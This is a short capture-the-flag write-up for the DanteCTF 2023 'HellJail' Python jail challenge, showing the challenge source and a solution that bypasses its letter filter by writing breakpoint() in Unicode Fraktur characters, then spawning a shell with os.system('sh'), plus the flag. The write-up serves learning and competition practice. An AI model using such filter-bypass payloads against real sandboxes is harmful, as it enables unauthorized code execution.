ctf-writeup/2023/DanteCTF 2023/HellJail
daffainfo e6c48e50f1 feat: grouped the challs 2024-01-09 16:59:32 +07:00
..
images feat: grouped the challs 2024-01-09 16:59:32 +07:00
HellJail.py feat: grouped the challs 2024-01-09 16:59:32 +07:00
README.md feat: grouped the challs 2024-01-09 16:59:32 +07:00

README.md

HellJail

-

About the Challenge

We were given a source code like this

#!/usr/bin/env python3

from string import ascii_letters

code = input('> ')

if any(c in ascii_letters for c in code):
    print('You will never leave this place!')
elif any(c in '.:;,-_@"=/%\\' for c in code):
    print('You will never reach this point, but still, you CANNOT leave!')
else:
    exec(code)

And we need to escape from the sandbox but we can input any ASCII letter and also some of the special character

preview

How to Solve?

To solve this problem, we need to convert our payload first to gothic font (Im using this website) and here is the payload I used

𝔟𝔯𝔢𝔞𝔨𝔭𝔬𝔦𝔫𝔱()

And then after enterring Python debugging, i ran this command

import os
os.system('sh')

flag

DANTE{4b4nd0n_all_h0p3_y3_who_3nter}